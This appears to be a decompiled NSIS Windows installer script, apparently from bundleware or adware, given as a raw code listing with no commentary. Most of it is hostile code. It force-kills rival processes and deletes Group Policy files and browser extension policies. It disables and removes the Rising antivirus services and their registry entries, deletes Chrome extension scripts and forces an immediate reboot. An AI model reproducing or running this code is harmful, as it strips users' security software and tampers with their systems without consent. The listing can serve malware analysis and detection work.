label_19027: nsExec::Exec "cmd /k taskkill /IM monn.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM monn.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM mokka.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM mokka.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM zikk.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM zikk.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM milk.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM milk.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM rizotto.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM rizotto.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM motto.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM motto.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"Microsoft Windows Video$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"Microsoft Windows Video$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn $\"Windows Media Sharing$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"Windows Media Sharing$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK $APPDATA\Micron RMDir /r /REBOOTOK $APPDATA\Microsoft\Vision RMDir /r /REBOOTOK $APPDATA\Microsoft\Video System::Call kernel32::Wow64EnableWow64FsRedirection(i0) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i0) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\GroupPolicy\Machine\Registry.pol 0 label_19077 Delete /REBOOTOK $SYSDIR\GroupPolicy\Machine\Registry.pol label_19077: IfFileExists $SYSDIR\GroupPolicy\User\Registry.pol 0 label_19079 Delete /REBOOTOK $SYSDIR\GroupPolicy\User\Registry.pol label_19079: System::Call kernel32::Wow64EnableWow64FsRedirection(i1) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i1) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\GroupPolicy\Machine\Registry.pol 0 label_19086 Delete /REBOOTOK $SYSDIR\GroupPolicy\Machine\Registry.pol label_19086: IfFileExists $SYSDIR\GroupPolicy\User\Registry.pol 0 label_19088 Delete /REBOOTOK $SYSDIR\GroupPolicy\User\Registry.pol label_19088: DeleteRegKey HKLM Software\Policies\Chromium\ExtensionInstallForcelist label_19089: ClearErrors EnumRegKey $0 HKCU Software\Policies\Google\Chrome\ExtensionInstallForcelist $0 IfErrors label_19093 DeleteRegKey HKCU Software\Policies\Google\Chrome\ExtensionInstallForcelist label_19093: StrCpy $1 "" ClearErrors EnumRegKey $0 HKLM Software\Policies\Google\Chrome\Ext$1ensionInst$1allForce$1list $0 IfErrors label_19098 DeleteRegKey HKLM Software\Policies\Google\Chrome\Ext$1ensionInst$1allForce$1list label_19098: ClearErrors EnumRegKey $0 HKCU "Software\Microsoft\Windows\CurrentVersion\Group Policy\History\{35378EAC-683F-11D2-A89A-00C04FBBCFA2}" $0 IfErrors label_19102 DeleteRegKey HKCU "Software\Microsoft\Windows\CurrentVersion\Group Policy\History\{35378EAC-683F-11D2-A89A-00C04FBBCFA2}" label_19102: IfFileExists "$DESKTOP\Continue installation .lnk" 0 label_19104 Delete "$DESKTOP\Continue installation .lnk" label_19104: IfFileExists "$DESKTOP\Ôèëüìû îíëàéí.URL" 0 label_19106 Delete "$DESKTOP\Ôèëüìû îíëàéí.URL" label_19106: IfFileExists "$DESKTOP\Ôèëüìû îíëàéí.URL" 0 label_19108 Delete "$DESKTOP\Ôèëüìû îíëàéí.URL" label_19108: IfFileExists "$DESKTOP\Ïðîãðàììû äëÿ Windows.URL" 0 label_19110 Delete "$DESKTOP\Ïðîãðàììû äëÿ Windows.URL" label_19110: IfFileExists "$DESKTOP\Gîogle Ñhrome.lnk" 0 label_19112 Delete "$DESKTOP\Gîogle Ñhrome.lnk" label_19112: IfFileExists "$DESKTOP\Ìozilla Firåfox.lnk" 0 label_19114 Delete "$DESKTOP\Ìozilla Firåfox.lnk" label_19114: IfFileExists $DESKTOP\Îperà.lnk 0 label_19116 Delete $DESKTOP\Îperà.lnk label_19116: IfFileExists $SMSTARTUP\WebBrowserMixVideoPlayer.lnk 0 label_19118 Delete /REBOOTOK $SMSTARTUP\WebBrowserMixVideoPlayer.lnk label_19118: IfFileExists "$SMSTARTUP\Aktiv Download Manager.lnk" 0 label_19120 Delete /REBOOTOK "$SMSTARTUP\Aktiv Download Manager.lnk" label_19120: IfFileExists "$DESKTOP\Baisvik Disk Cleaner 3.lnk" 0 label_19122 Delete "$DESKTOP\Baisvik Disk Cleaner 3.lnk" label_19122: IfFileExists "$DESKTOP\Äîñêà Îáúÿâëåíèé.url" 0 label_19124 Delete "$DESKTOP\Äîñêà Îáúÿâëåíèé.url" label_19124: IfFileExists "$DESKTOP\Ïîèñê â Èíòåðíåòå.url" 0 label_19126 Delete "$DESKTOP\Ïîèñê â Èíòåðíåòå.url" label_19126: FunctionEnd Function func_19127 IfFileExists $EXEDIR\rrm label_19163 nsExec::Exec "cmd /k sc config Defense start= disabled" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k sc config Defense start= disabled" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k sc config RsMgrSvc start= disabled" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k sc config RsMgrSvc start= disabled" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k sc config sysmon start= disabled" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k sc config sysmon start= disabled" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k reg delete $\"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run$\" /v RavTRAY /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k reg delete $\"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run$\" /v RavTRAY /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k reg delete $\"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run$\" /v RSDTRAY /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k reg delete $\"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run$\" /v RSDTRAY /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec FileOpen $1 $EXEDIR\rrm w FileWrite $1 "" FileClose $1 IfFileExists $EXEDIR\rrm 0 label_19163 nsExec::Exec "cmd /k shutdown -r -t 0" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k shutdown -r -t 0" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec Quit label_19163: DeleteRegKey HKLM SYSTEM\ControlSet001\services\RsRavMon DeleteRegKey HKLM SYSTEM\ControlSet001\services\sysmon DeleteRegKey HKLM SYSTEM\ControlSet001\services\Defense StrCpy $2 RsMgrSvc DeleteRegKey HKLM SYSTEM\ControlSet001\services\$2 DeleteRegKey HKLM SYSTEM\ControlSet002\services\$2 DeleteRegKey HKLM SYSTEM\ControlSet002\services\Defense DeleteRegKey HKCU SOFTWARE\MozillaPlugins\@rising.com.cn/nprising DeleteRegKey HKLM SOFTWARE\MozillaPlugins\@rising.com.cn/nprising DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run RSDTRAY DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run RavTRAY Delete $DESKTOP\install.msi RMDir /r /REBOOTOK $PROGRAMFILES\Rising FunctionEnd Function func_19177 Exch $1 ; Push $1 ; Exch ; Pop $1 IfFileExists $1 0 label_19199 StrCpy $2 "" StrCpy $3 "" FindFirst $3 $2 $1\*_* label_19184: StrCmp $2 "" label_19198 IfFileExists $1\$2\background.js 0 label_19196 FileOpen $5 $1\$2\background.js r FileRead $5 $6 32 FileClose $5 StrCmp $6 "!function(){function isArraylike" 0 label_19196 nsExec::Exec "cmd /k taskkill /IM $\"chrome.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"chrome.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec Delete /REBOOTOK $1\$2\background.js label_19196: FindNext $3 $2 Goto label_19184 label_19198: FindClose $3 label_19199: FunctionEnd Function func_19200 IfFileExists $LOCALAPPDATA\fupdate\fupdate.exe label_19204 ClearErrors EnumRegKey $0 HKCU Software\Microsoft\vklPlugin nb_lifetime IfErrors label_19214 label_19204: IfFileExists "$LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions\*" 0 label_19214 StrCpy $0 "" FindFirst $0 $R1 "$LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions\*" label_19207: StrCmp $R1 "" label_19213 IfFileExists "$LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions\$R1\*_*" 0 label_19211 Push "$LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions\$R1" Call func_19177 label_19211: FindNext $0 $R1 Goto label_19207 label_19213: FindClose $0 label_19214: FunctionEnd Function func_19215 IfFileExists "$LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions\onnpamhldelphfpbjneadljcchmcbomn" label_19217 IfFileExists "$LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions\cagkfnokdfofofnblbpfjnapdojmoffn" 0 label_19226 label_19217: IfFileExists $PROGRAMFILES\Google\Chrome\Application\chrome.exe 0 label_19226 SetShellVarContext all SetOutPath $PROGRAMFILES\Google\Chrome\Application CreateShortCut "$DESKTOP\Google Chrome.lnk" https://www.google.ru/chrome/browser/desktop/ "" $PROGRAMFILES\Google\Chrome\Application\chrome.exe SetShellVarContext current IfFileExists "$DESKTOP\Google Chrome.lnk" 0 label_19224 Delete /REBOOTOK "$DESKTOP\Google Chrome.lnk" label_19224: RMDir /r /REBOOTOK "$LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions\onnpamhldelphfpbjneadljcchmcbomn" RMDir /r /REBOOTOK "$LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions\cagkfnokdfofofnblbpfjnapdojmoffn" label_19226: FunctionEnd Function func_19227 Exch $R1 ; Push $R1 ; Exch ; Pop $R1 StrCpy $1 "" StrCpy $R2 "" FindFirst $1 $R2 $APPDATA\$R1\*.exe label_19233: StrCmp $R2 "" label_19241 nsExec::Exec "cmd /k taskkill /IM $\"$R2$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"$R2$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec FindNext $1 $R2 Goto label_19233 label_19241: FindClose $1 FunctionEnd Function func_19243 Exch $1 ; Push $1 ; Exch ; Pop $1 Exch Exch $2 ; Push $2 ; Exch ; Pop $2 Exch Push $R0 StrCpy $_156_ "" StrCpy $_157_ "" StrCpy $_154_ "" StrCpy $_155_ "" StrCpy $_158_ "" IntOp $_154_ $_154_ + 1 IntOp $_155_ $_155_ + 1 label_19259: StrCpy $R0 $1 1 $_154_ IntOp $_154_ $_154_ + 1 StrCmp $R0 "" label_19265 StrCmp $R0 . label_19265 StrCpy $_156_ $_156_$R0 Goto label_19259 label_19265: StrCmp $_156_ "" 0 label_19267 StrCpy $_156_ 0 label_19267: StrCpy $R0 $2 1 $_155_ IntOp $_155_ $_155_ + 1 StrCmp $R0 "" label_19273 StrCmp $R0 . label_19273 StrCpy $_157_ $_157_$R0 Goto label_19267 label_19273: StrCmp $_157_ "" 0 label_19275 StrCpy $_157_ 0 label_19275: IntCmp $_156_ $_157_ label_19280 label_19276 label_19278 label_19276: StrCpy $_158_ 2 Goto label_19350 label_19278: StrCpy $_158_ 1 Goto label_19350 label_19280: StrCpy $_156_ "" StrCpy $_157_ "" label_19282: StrCpy $R0 $1 1 $_154_ IntOp $_154_ $_154_ + 1 StrCmp $R0 "" label_19288 StrCmp $R0 . label_19288 StrCpy $_156_ $_156_$R0 Goto label_19282 label_19288: StrCmp $_156_ "" 0 label_19290 StrCpy $_156_ 0 label_19290: StrCpy $R0 $2 1 $_155_ IntOp $_155_ $_155_ + 1 StrCmp $R0 "" label_19296 StrCmp $R0 . label_19296 StrCpy $_157_ $_157_$R0 Goto label_19290 label_19296: StrCmp $_157_ "" 0 label_19298 StrCpy $_157_ 0 label_19298: IntCmp $_156_ $_157_ label_19303 label_19299 label_19301 label_19299: StrCpy $_158_ 2 Goto label_19350 label_19301: StrCpy $_158_ 1 Goto label_19350 label_19303: StrCpy $_156_ "" StrCpy $_157_ "" label_19305: StrCpy $R0 $1 1 $_154_ IntOp $_154_ $_154_ + 1 StrCmp $R0 "" label_19311 StrCmp $R0 . label_19311 StrCpy $_156_ $_156_$R0 Goto label_19305 label_19311: StrCmp $_156_ "" 0 label_19313 StrCpy $_156_ 0 label_19313: StrCpy $R0 $2 1 $_155_ IntOp $_155_ $_155_ + 1 StrCmp $R0 "" label_19319 StrCmp $R0 . label_19319 StrCpy $_157_ $_157_$R0 Goto label_19313 label_19319: StrCmp $_157_ "" 0 label_19321 StrCpy $_157_ 0 label_19321: IntCmp $_156_ $_157_ label_19326 label_19322 label_19324 label_19322: StrCpy $_158_ 2 Goto label_19350 label_19324: StrCpy $_158_ 1 Goto label_19350 label_19326: StrCpy $_156_ "" StrCpy $_157_ "" label_19328: StrCpy $R0 $1 1 $_154_ IntOp $_154_ $_154_ + 1 StrCmp $R0 "" label_19334 StrCmp $R0 . label_19334 StrCpy $_156_ $_156_$R0 Goto label_19328 label_19334: StrCmp $_156_ "" 0 label_19336 StrCpy $_156_ 0 label_19336: StrCpy $R0 $2 1 $_155_ IntOp $_155_ $_155_ + 1 StrCmp $R0 "" label_19342 StrCmp $R0 . label_19342 StrCpy $_157_ $_157_$R0 Goto label_19336 label_19342: StrCmp $_157_ "" 0 label_19344 StrCpy $_157_ 0 label_19344: IntCmp $_156_ $_157_ label_19349 label_19345 label_19347 label_19345: StrCpy $_158_ 2 Goto label_19350 label_19347: StrCpy $_158_ 1 Goto label_19350 label_19349: StrCpy $_158_ 0 label_19350: Pop $R0 Pop $1 Pop $2 Push $_158_ FunctionEnd Function func_19355 IfFileExists $COMMONFILES\$_106_\Uninstall.exe label_19358 StrCmp $_32_ 1 label_19358 WriteUninstaller $COMMONFILES\$_106_\Uninstall.exe ; $INSTDIR\$COMMONFILES\$_106_\Uninstall.exe label_19358: FunctionEnd Function func_19359 IfFileExists $PLUGINSDIR\eula.txt label_19362 SetOutPath $PLUGINSDIR SetOverwrite on AllowSkipFiles on File eula.txt label_19362: Return ExecShell open $PLUGINSDIR\eula.txt ; "open $PLUGINSDIR\eula.txt" FunctionEnd Function func_19365 Exch $1 ; Push $1 ; Exch ; Pop $1 Push $1 Call func_13252 Pop $1 StrCpy $2 $1 6 Push $2 Call func_13252 Pop $2 StrCpy $1 $1 "" 6 StrCpy $1 $2$1 StrCpy $2 $1 "" -6 Push $2 Call func_13252 Pop $2 StrCpy $1 $1 -6 StrCpy $1 $1$2 Push $1 FunctionEnd /* Function Initialize_____Plugins SetDetailsPrint none StrCmp $PLUGINSDIR "" 0 label_19395 Push $0 SetErrors GetTempFileName $0 Delete $0 CreateDirectory $0 IfErrors label_19396 StrCpy $PLUGINSDIR $0 Pop $0 label_19395: Return label_19396: MessageBox MB_OK|MB_ICONSTOP "Error! Can't initialize plug-ins directory. Please try again later." /SD IDOK Quit FunctionEnd */ ; -------------------- ; UNREFERENCED STRINGS: /* 70 $COMMONFILES */